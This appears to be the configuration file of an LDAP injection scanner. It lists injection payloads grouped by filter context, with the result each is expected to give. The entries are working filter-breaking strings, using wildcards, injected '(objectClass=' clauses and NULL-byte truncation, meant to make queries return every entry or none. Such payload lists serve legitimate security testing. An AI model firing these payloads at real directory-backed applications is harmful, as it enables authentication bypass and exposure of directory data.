; Declare attributes for LDAP payloads
[DEFAULT]
payload = None
status = False
context = None

; The order of payloads here is capital, those two must stay at the top
[no_results_reference]
payload = nosuchvalue
status = False
context = no_results

[error_reference]
payload = (**nosuchvalue**
status = False
context = error

; Below we have payloads grouped by contexts
; Each context should have at least one injection that tries to get all results (status = True)
; and if possible one injection that leads to no results (status = False)
[and_string_equals_false_1]
payload = nosuchvalue))[NULL]
status = False
context = and string equals

[and_string_equals_true_1]
payload = *))[NULL]nosuchvalue
status = True
context = and string equals

[and_string_equals_true_3]
payload = *)(&))[NULL]nosuchvalue
status = True
context = and string equals

[and_string_contains_false_1]
payload = )(nosuchvalue=a))[NULL]nosuchvalue
status = False
context = and string contains

[and_string_contains_true_1]
payload = ))[NULL]nosuchvalue
status = True
context = and string contains

[and_string_contains_true_2]
payload = )(objectClass=
status = True
context = and string contains

[and_string_contains_true_3]
payload = )(&))[NULL]nosuchvalue
status = True
context = and string contains

[string_equals_true_1]
payload = *
status = True
context = string equals

[string_equals_true_2]
payload = *)[NULL]nosuchvalue
status = True
context = string equals

[and_string_starts_with_false_1]
payload = nosuchvalue))[NULL]
status = False
context = and string starts with

[and_string_starts_with_true_1]
payload = *))[NULL]nosuchvalue
status = True
context = and string starts with

[and_string_starts_with_true_2]
payload = *)(objectClass=
status = True
context = and string starts with

[and_string_starts_with_true_3]
payload = *)(&))[NULL]nosuchvalue
status = True
context = and string starts with

[and_string_ends_with_false_1]
payload = nosuchvalue))[NULL]
status = False
context = and string ends with

[and_string_ends_with_true_1]
payload = ))[NULL]nosuchvalue
status = True
context = and string ends with

[and_string_ends_with_true_2]
payload = )(objectClass=*
status = True
context = and string ends with

[and_string_ends_with_true_3]
payload = )(&))[NULL]nosuchvalue
status = True
context = and string ends with
